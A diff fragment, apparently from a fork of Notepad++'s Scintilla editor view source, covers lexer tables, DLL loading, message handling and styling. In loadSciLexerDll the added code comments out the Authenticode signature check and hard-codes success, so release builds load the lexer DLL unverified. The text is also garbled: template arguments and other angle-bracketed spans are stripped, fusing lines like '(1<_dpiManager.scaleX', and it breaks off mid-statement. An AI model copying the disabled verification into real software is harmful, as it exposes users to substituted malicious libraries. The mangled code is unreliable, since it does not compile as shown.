SCLEX_SQL}, +{TEXT("vb"), TEXT("Visual Basic"), TEXT("Visual Basic file"), L_VB, SCLEX_VB}, +{TEXT("javascript"), TEXT("JavaScript"), TEXT("JavaScript file"), L_JS, SCLEX_CPP}, +{TEXT("css"), TEXT("CSS"), TEXT("Cascade Style Sheets File"), L_CSS, SCLEX_CSS}, +{TEXT("perl"), TEXT("Perl"), TEXT("Perl source file"), L_PERL, SCLEX_PERL}, +{TEXT("python"), TEXT("Python"), TEXT("Python file"), L_PYTHON, SCLEX_PYTHON}, +{TEXT("lua"), TEXT("Lua"), TEXT("Lua source File"), L_LUA, SCLEX_LUA}, +{TEXT("tex"), TEXT("TeX"), TEXT("TeX file"), L_TEX, SCLEX_TEX}, +{TEXT("fortran"), TEXT("Fortran free form"), TEXT("Fortran free form source file"), L_FORTRAN, SCLEX_FORTRAN}, +{TEXT("bash"), TEXT("Shell"), TEXT("Unix script file"), L_BASH, SCLEX_BASH}, +{TEXT("actionscript"), TEXT("ActionScript"), TEXT("Flash ActionScript file"), L_FLASH, SCLEX_CPP}, +{TEXT("nsis"), TEXT("NSIS"), TEXT("Nullsoft Scriptable Install System script file"), L_NSIS, SCLEX_NSIS}, +{TEXT("tcl"), TEXT("TCL"), TEXT("Tool Command Language file"), L_TCL, SCLEX_TCL}, +{TEXT("lisp"), TEXT("Lisp"), TEXT("List Processing language file"), L_LISP, SCLEX_LISP}, +{TEXT("scheme"), TEXT("Scheme"), TEXT("Scheme file"), L_SCHEME, SCLEX_LISP}, +{TEXT("asm"), TEXT("Assembly"), TEXT("Assembly language source file"), L_ASM, SCLEX_ASM}, +{TEXT("diff"), TEXT("Diff"), TEXT("Diff file"), L_DIFF, SCLEX_DIFF}, +{TEXT("props"), TEXT("Properties file"), TEXT("Properties file"), L_PROPS, SCLEX_PROPERTIES}, +{TEXT("postscript"), TEXT("PostScript"), TEXT("PostScript file"), L_PS, SCLEX_PS}, +{TEXT("ruby"), TEXT("Ruby"), TEXT("Ruby file"), L_RUBY, SCLEX_RUBY}, +{TEXT("smalltalk"), TEXT("Smalltalk"), TEXT("Smalltalk file"), L_SMALLTALK, SCLEX_SMALLTALK}, +{TEXT("vhdl"), TEXT("VHDL"), TEXT("VHSIC Hardware Description Language file"), L_VHDL, SCLEX_VHDL}, +{TEXT("kix"), TEXT("KiXtart"), TEXT("KiXtart file"), L_KIX, SCLEX_KIX}, +{TEXT("autoit"), TEXT("AutoIt"), TEXT("AutoIt"), L_AU3, SCLEX_AU3}, +{TEXT("caml"), TEXT("CAML"), TEXT("Categorical Abstract Machine Language"), L_CAML, SCLEX_CAML}, +{TEXT("ada"), TEXT("Ada"), TEXT("Ada file"), L_ADA, SCLEX_ADA}, +{TEXT("verilog"), TEXT("Verilog"), TEXT("Verilog file"), L_VERILOG, SCLEX_VERILOG}, +{TEXT("matlab"), TEXT("MATLAB"), TEXT("MATrix LABoratory"), L_MATLAB, SCLEX_MATLAB}, +{TEXT("haskell"), TEXT("Haskell"), TEXT("Haskell"), L_HASKELL, SCLEX_HASKELL}, +{TEXT("inno"), TEXT("Inno Setup"), TEXT("Inno Setup script"), L_INNO, SCLEX_INNOSETUP}, +{TEXT("searchResult"), TEXT("Internal Search"), TEXT("Internal Search"), L_SEARCHRESULT, SCLEX_SEARCHRESULT}, +{TEXT("cmake"), TEXT("CMake"), TEXT("CMake file"), L_CMAKE, SCLEX_CMAKE}, +{TEXT("yaml"), TEXT("YAML"), TEXT("YAML Ain't Markup Language"), L_YAML, SCLEX_YAML}, +{TEXT("cobol"), TEXT("COBOL"), TEXT("COmmon Business Oriented Language"), L_COBOL, SCLEX_COBOL}, +{TEXT("gui4cli"), TEXT("Gui4Cli"), TEXT("Gui4Cli file"), L_GUI4CLI, SCLEX_GUI4CLI}, +{TEXT("d"), TEXT("D"), TEXT("D programming language"), L_D, SCLEX_D}, +{TEXT("powershell"), TEXT("PowerShell"), TEXT("Windows PowerShell"), L_POWERSHELL, SCLEX_POWERSHELL}, +{TEXT("r"), TEXT("R"), TEXT("R programming language"), L_R, SCLEX_R}, +{TEXT("jsp"), TEXT("JSP"), TEXT("JavaServer Pages script file"), L_JSP, SCLEX_HTML}, +{TEXT("coffeescript"), TEXT("CoffeeScript"), TEXT("CoffeeScript file"), L_COFFEESCRIPT, SCLEX_COFFEESCRIPT}, +{TEXT("json"), TEXT("json"), TEXT("JSON file"), L_JSON, SCLEX_CPP }, +{TEXT("javascript.js"), TEXT("JavaScript"), TEXT("JavaScript file"), L_JAVASCRIPT, SCLEX_CPP }, +{TEXT("fortran77"), TEXT("Fortran fixed form"), TEXT("Fortran fixed form source file"), L_FORTRAN_77, SCLEX_F77}, +{TEXT("baanc"), TEXT("BaanC"), TEXT("BaanC File"), L_BAANC, SCLEX_BAAN }, +{TEXT("srec"), TEXT("S-Record"), TEXT("Motorola S-Record binary data"), L_SREC, SCLEX_SREC}, +{TEXT("ihex"), TEXT("Intel HEX"), TEXT("Intel HEX binary data"), L_IHEX, SCLEX_IHEX}, +{TEXT("tehex"), TEXT("Tektronix extended HEX"), TEXT("Tektronix extended HEX binary data"), L_TEHEX, SCLEX_TEHEX}, +{TEXT("swift"), TEXT("Swift"), TEXT("Swift file"), L_SWIFT, SCLEX_CPP}, +{TEXT("asn1"), TEXT("ASN.1"), TEXT("Abstract Syntax Notation One file"), L_ASN1, SCLEX_ASN1}, +{TEXT("avs"), TEXT("AviSynth"), TEXT("AviSynth scripts files"), L_AVS, SCLEX_AVS}, +{TEXT("blitzbasic"), TEXT("BlitzBasic"), TEXT("BlitzBasic file"), L_BLITZBASIC, SCLEX_BLITZBASIC}, +{TEXT("purebasic"), TEXT("PureBasic"), TEXT("PureBasic file"), L_PUREBASIC, SCLEX_PUREBASIC}, +{TEXT("freebasic"), TEXT("FreeBasic"), TEXT("FreeBasic file"), L_FREEBASIC, SCLEX_FREEBASIC}, +{TEXT("csound"), TEXT("Csound"), TEXT("Csound file"), L_CSOUND, SCLEX_CSOUND}, +{TEXT("erlang"), TEXT("Erlang"), TEXT("Erlang file"), L_ERLANG, SCLEX_ERLANG}, +{TEXT("escript"), TEXT("ESCRIPT"), TEXT("ESCRIPT file"), L_ESCRIPT, SCLEX_ESCRIPT}, +{TEXT("forth"), TEXT("Forth"), TEXT("Forth file"), L_FORTH, SCLEX_FORTH}, +{TEXT("latex"), TEXT("LaTeX"), TEXT("LaTeX file"), L_LATEX, SCLEX_LATEX}, +{TEXT("mmixal"), TEXT("MMIXAL"), TEXT("MMIXAL file"), L_MMIXAL, SCLEX_MMIXAL}, +{TEXT("nimrod"), TEXT("Nimrod"), TEXT("Nimrod file"), L_NIMROD, SCLEX_NIMROD}, +{TEXT("nncrontab"), TEXT("Nncrontab"), TEXT("extended crontab file"), L_NNCRONTAB, SCLEX_NNCRONTAB}, +{TEXT("oscript"), TEXT("OScript"), TEXT("OScript source file"), L_OSCRIPT, SCLEX_OSCRIPT}, +{TEXT("rebol"), TEXT("REBOL"), TEXT("REBOL file"), L_REBOL, SCLEX_REBOL}, +{TEXT("registry"), TEXT("registry"), TEXT("registry file"), L_REGISTRY, SCLEX_REGISTRY}, +{TEXT("rust"), TEXT("Rust"), TEXT("Rust file"), L_RUST, SCLEX_RUST}, +{TEXT("spice"), TEXT("Spice"), TEXT("spice file"), L_SPICE, SCLEX_SPICE}, +{TEXT("txt2tags"), TEXT("txt2tags"), TEXT("txt2tags file"), L_TXT2TAGS, SCLEX_TXT2TAGS}, +{TEXT("visualprolog"), TEXT("Visual Prolog"), TEXT("Visual Prolog file"), L_VISUALPROLOG, SCLEX_VISUALPROLOG}, +{TEXT("ext"), TEXT("External"), TEXT("External"), L_EXTERNAL, SCLEX_NULL} +}; + +//const int MASK_RED = 0xFF0000; +//const int MASK_GREEN = 0x00FF00; +//const int MASK_BLUE = 0x0000FF; + +#define SCINTILLA_SIGNER_DISPLAY_NAME TEXT("Notepad++") +#define SCINTILLA_SIGNER_SUBJECT TEXT("C=FR, S=Ile-de-France, L=Saint Cloud, O=\"Notepad++\", CN=\"Notepad++\"") +#define SCINTILLA_SIGNER_KEY_ID TEXT("42C4C5846BB675C74E2B2C90C69AB44366401093") + + +int getNbDigits(int aNum, int base) +{ + int nbChiffre = 1; + int diviseur = base; + + for (;;) + { + int result = aNum / diviseur; + if (!result) + break; + else + { + diviseur *= base; + ++nbChiffre; + } + } + if ((base == 16) && (nbChiffre % 2 != 0)) + nbChiffre += 1; + + return nbChiffre; +} + +TCHAR moduleFileName[1024]; + +HMODULE loadSciLexerDll() +{ + generic_string sciLexerPath = getSciLexerFullPathName(moduleFileName, 1024); + + // Do not check dll signature if npp is running in debug mode + // This is helpful for developers to skip signature checking + // while analyzing issue or modifying the lexer dll +#ifndef _DEBUG + bool isOK = true; + // VerifySignedLibrary(sciLexerPath, SCINTILLA_SIGNER_KEY_ID, SCINTILLA_SIGNER_SUBJECT, SCINTILLA_SIGNER_DISPLAY_NAME, false, false); + + if (!isOK) + { + ::MessageBox(NULL, + TEXT("Authenticode check failed: signature or signing certificate are not recognized"), + TEXT("Library verification failed"), + MB_OK | MB_ICONERROR); + return nullptr; + } +#endif // !_DEBUG + + return ::LoadLibrary(sciLexerPath.c_str()); +} + +void ScintillaEditView::init(HINSTANCE hInst, HWND hPere) +{ + if (!_hLib) + { + throw std::runtime_error("ScintillaEditView::init : SCINTILLA ERROR - Can not load the dynamic library"); + } + + Window::init(hInst, hPere); + _hSelf = ::CreateWindowEx( + WS_EX_CLIENTEDGE,\ + TEXT("Scintilla"),\ + TEXT("Notepad++"),\ + WS_CHILD | WS_VSCROLL | WS_HSCROLL | WS_CLIPCHILDREN | WS_EX_RTLREADING,\ + 0, 0, 100, 100,\ + _hParent,\ + NULL,\ + _hInst,\ + NULL); + + if (!_hSelf) + { + throw std::runtime_error("ScintillaEditView::init : CreateWindowEx() function return null"); + } + + _pScintillaFunc = (SCINTILLA_FUNC)::SendMessage(_hSelf, SCI_GETDIRECTFUNCTION, 0, 0); + _pScintillaPtr = (SCINTILLA_PTR)::SendMessage(_hSelf, SCI_GETDIRECTPOINTER, 0, 0); + + _userDefineDlg.init(_hInst, _hParent, this); + + if (!_pScintillaFunc) + { + throw std::runtime_error("ScintillaEditView::init : SCI_GETDIRECTFUNCTION message failed"); + } + + if (!_pScintillaPtr) + { + throw std::runtime_error("ScintillaEditView::init : SCI_GETDIRECTPOINTER message failed"); + } + + execute(SCI_SETMARGINMASKN, _SC_MARGE_FOLDER, SC_MASK_FOLDERS); + showMargin(_SC_MARGE_FOLDER, true); + + execute(SCI_SETMARGINMASKN, _SC_MARGE_SYBOLE, (1<_dpiManager.scaleX(100) >= 150) + { + execute(SCI_RGBAIMAGESETWIDTH, 18); + execute(SCI_RGBAIMAGESETHEIGHT, 18); + execute(SCI_MARKERDEFINERGBAIMAGE, MARK_BOOKMARK, reinterpret_cast(bookmark18)); + execute(SCI_MARKERDEFINERGBAIMAGE, MARK_HIDELINESBEGIN, reinterpret_cast(hidelines_begin18)); + execute(SCI_MARKERDEFINERGBAIMAGE, MARK_HIDELINESEND, reinterpret_cast(hidelines_end18)); + } + else + { + execute(SCI_RGBAIMAGESETWIDTH, 14); + execute(SCI_RGBAIMAGESETHEIGHT, 14); + execute(SCI_MARKERDEFINERGBAIMAGE, MARK_BOOKMARK, reinterpret_cast(bookmark14)); + execute(SCI_MARKERDEFINERGBAIMAGE, MARK_HIDELINESBEGIN, reinterpret_cast(hidelines_begin14)); + execute(SCI_MARKERDEFINERGBAIMAGE, MARK_HIDELINESEND, reinterpret_cast(hidelines_end14)); + } + + execute(SCI_SETMARGINSENSITIVEN, _SC_MARGE_FOLDER, true); + execute(SCI_SETMARGINSENSITIVEN, _SC_MARGE_SYBOLE, true); + + execute(SCI_SETFOLDFLAGS, 16); + execute(SCI_SETSCROLLWIDTHTRACKING, true); + execute(SCI_SETSCROLLWIDTH, 1); //default empty document: override default width of 2000 + + // smart hilighting + execute(SCI_INDICSETSTYLE, SCE_UNIVERSAL_FOUND_STYLE_SMART, INDIC_ROUNDBOX); + execute(SCI_INDICSETSTYLE, SCE_UNIVERSAL_FOUND_STYLE, INDIC_ROUNDBOX); + execute(SCI_INDICSETSTYLE, SCE_UNIVERSAL_FOUND_STYLE_INC, INDIC_ROUNDBOX); + execute(SCI_INDICSETSTYLE, SCE_UNIVERSAL_TAGMATCH, INDIC_ROUNDBOX); + execute(SCI_INDICSETSTYLE, SCE_UNIVERSAL_TAGATTR, INDIC_ROUNDBOX); + execute(SCI_INDICSETSTYLE, SCE_UNIVERSAL_FOUND_STYLE_EXT1, INDIC_ROUNDBOX); + execute(SCI_INDICSETSTYLE, SCE_UNIVERSAL_FOUND_STYLE_EXT2, INDIC_ROUNDBOX); + execute(SCI_INDICSETSTYLE, SCE_UNIVERSAL_FOUND_STYLE_EXT3, INDIC_ROUNDBOX); + execute(SCI_INDICSETSTYLE, SCE_UNIVERSAL_FOUND_STYLE_EXT4, INDIC_ROUNDBOX); + execute(SCI_INDICSETSTYLE, SCE_UNIVERSAL_FOUND_STYLE_EXT5, INDIC_ROUNDBOX); + + execute(SCI_INDICSETALPHA, SCE_UNIVERSAL_FOUND_STYLE_SMART, 100); + execute(SCI_INDICSETALPHA, SCE_UNIVERSAL_FOUND_STYLE, 100); + execute(SCI_INDICSETALPHA, SCE_UNIVERSAL_FOUND_STYLE_INC, 100); + execute(SCI_INDICSETALPHA, SCE_UNIVERSAL_TAGMATCH, 100); + execute(SCI_INDICSETALPHA, SCE_UNIVERSAL_TAGATTR, 100); + execute(SCI_INDICSETALPHA, SCE_UNIVERSAL_FOUND_STYLE_EXT1, 100); + execute(SCI_INDICSETALPHA, SCE_UNIVERSAL_FOUND_STYLE_EXT2, 100); + execute(SCI_INDICSETALPHA, SCE_UNIVERSAL_FOUND_STYLE_EXT3, 100); + execute(SCI_INDICSETALPHA, SCE_UNIVERSAL_FOUND_STYLE_EXT4, 100); + execute(SCI_INDICSETALPHA, SCE_UNIVERSAL_FOUND_STYLE_EXT5, 100); + + execute(SCI_INDICSETUNDER, SCE_UNIVERSAL_FOUND_STYLE_SMART, true); + execute(SCI_INDICSETUNDER, SCE_UNIVERSAL_FOUND_STYLE, true); + execute(SCI_INDICSETUNDER, SCE_UNIVERSAL_FOUND_STYLE_INC, true); + execute(SCI_INDICSETUNDER, SCE_UNIVERSAL_TAGMATCH, true); + execute(SCI_INDICSETUNDER, SCE_UNIVERSAL_TAGATTR, true); + execute(SCI_INDICSETUNDER, SCE_UNIVERSAL_FOUND_STYLE_EXT1, true); + execute(SCI_INDICSETUNDER, SCE_UNIVERSAL_FOUND_STYLE_EXT2, true); + execute(SCI_INDICSETUNDER, SCE_UNIVERSAL_FOUND_STYLE_EXT3, true); + execute(SCI_INDICSETUNDER, SCE_UNIVERSAL_FOUND_STYLE_EXT4, true); + execute(SCI_INDICSETUNDER, SCE_UNIVERSAL_FOUND_STYLE_EXT5, true); + _pParameter = NppParameters::getInstance(); + + _codepage = ::GetACP(); + + ::SetWindowLongPtr(_hSelf, GWLP_USERDATA, reinterpret_cast(this)); + _callWindowProc = CallWindowProc; + _scintillaDefaultProc = reinterpret_cast(::SetWindowLongPtr(_hSelf, GWLP_WNDPROC, reinterpret_cast(scintillaStatic_Proc))); + + if (_defaultCharList.empty()) + { + auto defaultCharListLen = execute(SCI_GETWORDCHARS); + char *defaultCharList = new char[defaultCharListLen + 1]; + execute(SCI_GETWORDCHARS, 0, reinterpret_cast(defaultCharList)); + defaultCharList[defaultCharListLen] = '\0'; + _defaultCharList = defaultCharList; + delete[] defaultCharList; + } + //Get the startup document and make a buffer for it so it can be accessed like a file + attachDefaultDoc(); +} + +LRESULT CALLBACK ScintillaEditView::scintillaStatic_Proc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + ScintillaEditView *pScint = (ScintillaEditView *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)); + + if (Message == WM_MOUSEWHEEL || Message == WM_MOUSEHWHEEL) + { + POINT pt; + POINTS pts = MAKEPOINTS(lParam); + POINTSTOPOINT(pt, pts); + HWND hwndOnMouse = WindowFromPoint(pt); + + //Hack for Synaptics TouchPad Driver + char synapticsHack[26]; + GetClassNameA(hwndOnMouse, (LPSTR)&synapticsHack, 26); + bool isSynpnatic = std::string(synapticsHack) == "SynTrackCursorWindowClass"; + bool makeTouchPadCompetible = ((NppParameters::getInstance())->getSVP())._disableAdvancedScrolling; + + if (pScint && (isSynpnatic || makeTouchPadCompetible)) + return (pScint->scintillaNew_Proc(hwnd, Message, wParam, lParam)); + + ScintillaEditView *pScintillaOnMouse = (ScintillaEditView *)(::GetWindowLongPtr(hwndOnMouse, GWLP_USERDATA)); + if (pScintillaOnMouse != pScint) + return ::SendMessage(hwndOnMouse, Message, wParam, lParam); + } + if (pScint) + return (pScint->scintillaNew_Proc(hwnd, Message, wParam, lParam)); + else + return ::DefWindowProc(hwnd, Message, wParam, lParam); + +} +LRESULT ScintillaEditView::scintillaNew_Proc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + case WM_MOUSEHWHEEL : + { + ::CallWindowProc(_scintillaDefaultProc, hwnd, WM_HSCROLL, ((short)HIWORD(wParam) > 0)?SB_LINERIGHT:SB_LINELEFT, NULL); + break; + } + + case WM_MOUSEWHEEL : + { + if (LOWORD(wParam) & MK_RBUTTON) + { + ::SendMessage(_hParent, Message, wParam, lParam); + return TRUE; + } + + //Have to perform the scroll first, because the first/last line do not get updated untill after the scroll has been parsed + LRESULT scrollResult = ::CallWindowProc(_scintillaDefaultProc, hwnd, Message, wParam, lParam); + return scrollResult; + } + + case WM_IME_REQUEST: + { + + if (wParam == IMR_RECONVERTSTRING) + { + int textLength; + int selectSize; + char smallTextBuffer[128]; + char * selectedStr = smallTextBuffer; + RECONVERTSTRING * reconvert = (RECONVERTSTRING *)lParam; + + // does nothing with a rectangular selection + if (execute(SCI_SELECTIONISRECTANGLE, 0, 0)) + return 0; + + // get the codepage of the text + + UINT codepage = static_cast(execute(SCI_GETCODEPAGE)); + + // get the current text selection + + CharacterRange range = getSelection(); + if (range.cpMax == range.cpMin) + { + // no selection: select the current word instead + + expandWordSelection(); + range = getSelection(); + } + selectSize = range.cpMax - range.cpMin; + + // does nothing if still no luck with the selection + + if (selectSize == 0) + return 0; + + if (selectSize + 1 > sizeof(smallTextBuffer)) + selectedStr = new char[selectSize + 1]; + getText(selectedStr, range.cpMin, range.cpMax); + + if (reconvert == NULL) + { + // convert the selection to Unicode, and get the number + // of bytes required for the converted text + textLength = sizeof(WCHAR) * ::MultiByteToWideChar(codepage, 0, selectedStr, selectSize, NULL, 0); + } + else + { + // convert the selection to Unicode, and store it at the end of the structure. + // Beware: For a Unicode IME, dwStrLen , dwCompStrLen, and dwTargetStrLen + // are TCHAR values, that is, character counts. The members dwStrOffset, + // dwCompStrOffset, and dwTargetStrOffset specify byte counts. + + textLength = ::MultiByteToWideChar( codepage, 0, + selectedStr, selectSize, + (LPWSTR)((LPSTR)reconvert + sizeof(RECONVERTSTRING)), + reconvert->dwSize - sizeof(RECONVERTSTRING)); + + // fill the structure + reconvert->dwVersion = 0; + reconvert->dwStrLen = textLength; + reconvert->dwStrOffset = sizeof(RECONVERTSTRING); + reconvert->dwCompStrLen = textLength; + reconvert->dwCompStrOffset = 0; + reconvert->dwTargetStrLen = reconvert->dwCompStrLen; + reconvert->dwTargetStrOffset = reconvert->dwCompStrOffset; + + textLength *= sizeof(WCHAR); + } + + if (selectedStr != smallTextBuffer) + delete [] selectedStr; + + // return the total length of the structure + return sizeof(RECONVERTSTRING) + textLength; + } + break; + } + + case WM_KEYUP : + { + if (wParam == VK_PRIOR || wParam == VK_NEXT) + { + // find hotspots + SCNotification notification = {}; + notification.nmhdr.code = SCN_PAINTED; + notification.nmhdr.hwndFrom = _hSelf; + notification.nmhdr.idFrom = ::GetDlgCtrlID(_hSelf); + ::SendMessage(_hParent, WM_NOTIFY, LINKTRIGGERED, reinterpret_cast(¬ification)); + + } + break; + } + + case WM_VSCROLL : + { + break; + } + } + return _callWindowProc(_scintillaDefaultProc, hwnd, Message, wParam, lParam); +} + +#define DEFAULT_FONT_NAME "Courier New" + +void ScintillaEditView::setSpecialStyle(const Style & styleToSet) +{ + int styleID = styleToSet._styleID; + if ( styleToSet._colorStyle & COLORSTYLE_FOREGROUND ) + execute(SCI_STYLESETFORE, styleID, styleToSet._fgColor); + + if ( styleToSet._colorStyle & COLORSTYLE_BACKGROUND ) + execute(SCI_STYLESETBACK, styleID, styleToSet._bgColor); + + if (styleToSet._fontName && lstrcmp(styleToSet._fontName, TEXT("")) != 0) + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + if (not _pParameter->isInFontList(styleToSet._fontName)) + { + execute(SCI_STYLESETFONT, styleID, reinterpret_cast(DEFAULT_FONT_NAME)); + } + else + { + const char * fontNameA = wmc->wchar2char(styleToSet._fontName, CP_UTF8); + execute(SCI_STYLESETFONT, styleID, reinterpret_cast(fontNameA)); + } + } + int fontStyle = styleToSet._fontStyle; + if (fontStyle != STYLE_NOT_USED) + { + execute(SCI_STYLESETBOLD, styleID, fontStyle & FONTSTYLE_BOLD); + execute(SCI_STYLESETITALIC, styleID, fontStyle & FONTSTYLE_ITALIC); + execute(SCI_STYLESETUNDERLINE, styleID, fontStyle & FONTSTYLE_UNDERLINE); + } + + if (styleToSet._fontSize > 0) + execute(SCI_STYLESETSIZE, styleID, styleToSet._fontSize); +} + +void ScintillaEditView::setHotspotStyle(Style& styleToSet) +{ + StyleMap* styleMap; + if( _hotspotStyles.find(_currentBuffer) == _hotspotStyles.end() ) + { + _hotspotStyles[_currentBuffer] = new StyleMap; + } + styleMap = _hotspotStyles[_currentBuffer]; + (*styleMap)[styleToSet._styleID] = styleToSet; + + setStyle(styleToSet); +} + +void ScintillaEditView::setStyle(Style styleToSet) +{ + GlobalOverride & go = _pParameter->getGlobalOverrideStyle(); + + if (go.isEnable()) + { + StyleArray & stylers = _pParameter->getMiscStylerArray(); + int i = stylers.getStylerIndexByName(TEXT("Global override")); + if (i != -1) + { + Style & style = stylers.getStyler(i); + + if (go.enableFg) + { + if (style._colorStyle & COLORSTYLE_FOREGROUND) + { + styleToSet._colorStyle |= COLORSTYLE_FOREGROUND; + styleToSet._fgColor = style._fgColor; + } + else + { + if (styleToSet._styleID == STYLE_DEFAULT) //if global is set to transparent, use default style color + styleToSet._colorStyle |= COLORSTYLE_FOREGROUND; + else + styleToSet._colorStyle &= ~COLORSTYLE_FOREGROUND; + } + } + + if (go.enableBg) + { + if (style._colorStyle & COLORSTYLE_BACKGROUND) + { + styleToSet._colorStyle |= COLORSTYLE_BACKGROUND; + styleToSet._bgColor = style._bgColor; + } + else + { + if (styleToSet._styleID == STYLE_DEFAULT) //if global is set to transparent, use default style color + styleToSet._colorStyle |= COLORSTYLE_BACKGROUND; + else + styleToSet._colorStyle &= ~COLORSTYLE_BACKGROUND; + } + } + if (go.enableFont && style._fontName && style._fontName[0]) + styleToSet._fontName = style._fontName; + if (go.enableFontSize && (style._fontSize > 0)) + styleToSet._fontSize = style._fontSize; + + if (style._fontStyle != STYLE_NOT_USED) + { + if (go.enableBold) + { + if (style._fontStyle & FONTSTYLE_BOLD) + styleToSet._fontStyle |= FONTSTYLE_BOLD; + else + styleToSet._fontStyle &= ~FONTSTYLE_BOLD; + } + if (go.enableItalic) + { + if (style._fontStyle & FONTSTYLE_ITALIC) + styleToSet._fontStyle |= FONTSTYLE_ITALIC; + else + styleToSet._fontStyle &= ~FONTSTYLE_ITALIC; + } + if (go.enableUnderLine) + { + if (style._fontStyle & FONTSTYLE_UNDERLINE) + styleToSet._fontStyle |= FONTSTYLE_UNDERLINE; + else + styleToSet._fontStyle &= ~FONTSTYLE_UNDERLINE; + } + } + } + } + setSpecialStyle(styleToSet); +} + + +void ScintillaEditView::setXmlLexer(LangType type) +{ + if (type == L_XML) + { + execute(SCI_SETLEXER, SCLEX_XML); + for (int i = 0 ; i < 4 ; ++i) + execute(SCI_SETKEYWORDS, i, reinterpret_cast(TEXT(""))); + + makeStyle(type); + } + else if ((type == L_HTML) || (type == L_PHP) || (type == L_ASP) || (type == L_JSP)) + { + execute(SCI_SETLEXER, SCLEX_HTML); + const TCHAR *htmlKeyWords_generic =_pParameter->getWordList(L_HTML, LANG_INDEX_INSTR); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const char *htmlKeyWords = wmc->wchar2char(htmlKeyWords_generic, CP_ACP); + execute(SCI_SETKEYWORDS, 0, reinterpret_cast(htmlKeyWords?htmlKeyWords:"")); + makeStyle(L_HTML); + + setEmbeddedJSLexer(); + setEmbeddedPhpLexer(); + setEmbeddedAspLexer(); + } + execute(SCI_SETPROPERTY, reinterpret_cast("fold"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.compact"), reinterpret_cast("0")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.html"), reinterpret_cast("1")); + // This allow to fold comment strem in php/javascript code + execute(SCI_SETPROPERTY, reinterpret_cast("fold.hypertext.comment"), reinterpret_cast("1")); +} + +void ScintillaEditView::setEmbeddedJSLexer() +{ + const TCHAR *pKwArray[10] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; + makeStyle(L_JS, pKwArray); + + basic_string keywordList(""); + if (pKwArray[LANG_INDEX_INSTR]) + { + basic_string kwlW = pKwArray[LANG_INDEX_INSTR]; + keywordList = wstring2string(kwlW, CP_ACP); + } + + execute(SCI_SETKEYWORDS, 1, reinterpret_cast(getCompleteKeywordList(keywordList, L_JS, LANG_INDEX_INSTR))); + execute(SCI_STYLESETEOLFILLED, SCE_HJ_DEFAULT, true); + execute(SCI_STYLESETEOLFILLED, SCE_HJ_COMMENT, true); + execute(SCI_STYLESETEOLFILLED, SCE_HJ_COMMENTDOC, true); +} + +void ScintillaEditView::setJsonLexer() +{ + execute(SCI_SETLEXER, SCLEX_CPP); + + const TCHAR *pKwArray[10] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }; + + makeStyle(L_JSON, pKwArray); + + basic_string keywordList(""); + if (pKwArray[LANG_INDEX_INSTR]) + { + basic_string kwlW = pKwArray[LANG_INDEX_INSTR]; + keywordList = wstring2string(kwlW, CP_ACP); + } + + execute(SCI_SETKEYWORDS, 0, reinterpret_cast(getCompleteKeywordList(keywordList, L_JSON, LANG_INDEX_INSTR))); + + execute(SCI_SETPROPERTY, reinterpret_cast("fold"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.compact"), reinterpret_cast("0")); + + execute(SCI_SETPROPERTY, reinterpret_cast("fold.comment"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("fold.preprocessor"), reinterpret_cast("1")); +} + +void ScintillaEditView::setEmbeddedPhpLexer() +{ + const TCHAR *pKwArray[10] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; + makeStyle(L_PHP, pKwArray); + + basic_string keywordList(""); + if (pKwArray[LANG_INDEX_INSTR]) + { + basic_string kwlW = pKwArray[LANG_INDEX_INSTR]; + keywordList = wstring2string(kwlW, CP_ACP); + } + + execute(SCI_SETKEYWORDS, 4, reinterpret_cast(getCompleteKeywordList(keywordList, L_PHP, LANG_INDEX_INSTR))); + + execute(SCI_STYLESETEOLFILLED, SCE_HPHP_DEFAULT, true); + execute(SCI_STYLESETEOLFILLED, SCE_HPHP_COMMENT, true); +} + +void ScintillaEditView::setEmbeddedAspLexer() +{ + const TCHAR *pKwArray[10] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; + makeStyle(L_ASP, pKwArray); + + basic_string keywordList(""); + if (pKwArray[LANG_INDEX_INSTR]) + { + basic_string kwlW = pKwArray[LANG_INDEX_INSTR]; + keywordList = wstring2string(kwlW, CP_ACP); + } + + execute(SCI_SETKEYWORDS, 2, reinterpret_cast(getCompleteKeywordList(keywordList, L_VB, LANG_INDEX_INSTR))); + + execute(SCI_STYLESETEOLFILLED, SCE_HBA_DEFAULT, true); +} + +void ScintillaEditView::setUserLexer(const TCHAR *userLangName) +{ + int setKeywordsCounter = 0; + execute(SCI_SETLEXER, SCLEX_USER); + + UserLangContainer * userLangContainer = userLangName?_pParameter->getULCFromName(userLangName):_userDefineDlg._pCurrentUserLang; + + if (!userLangContainer) + return; + + UINT codepage = CP_ACP; + UniMode unicodeMode = _currentBuffer->getUnicodeMode(); + int encoding = _currentBuffer->getEncoding(); + if (encoding == -1) + { + if (unicodeMode == uniUTF8 || unicodeMode == uniCookie) + codepage = CP_UTF8; + } + else + { + codepage = CP_OEMCP; // system OEM code page might not match user selection for character set, + // but this is the best match WideCharToMultiByte offers + } + + execute(SCI_SETPROPERTY, reinterpret_cast("fold"), reinterpret_cast("1")); + execute(SCI_SETPROPERTY, reinterpret_cast("userDefine.isCaseIgnored"), reinterpret_cast(userLangContainer->_isCaseIgnored ? "1":"0")); + execute(SCI_SETPROPERTY, reinterpret_cast("userDefine.allowFoldOfComments"), reinterpret_cast(userLangContainer->_allowFoldOfComments ? "1":"0")); + execute(SCI_SETPROPERTY, reinterpret_cast("userDefine.foldCompact"), reinterpret_cast(userLangContainer->_foldCompact ? "1":"0")); + + char name[] = "userDefine.prefixKeywords0"; + for (int i=0 ; i(name), reinterpret_cast(userLangContainer->_isPrefix[i] ? "1" : "0")); + } + + for (int i = 0 ; i < SCE_USER_KWLIST_TOTAL ; ++i) + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const char * keyWords_char = 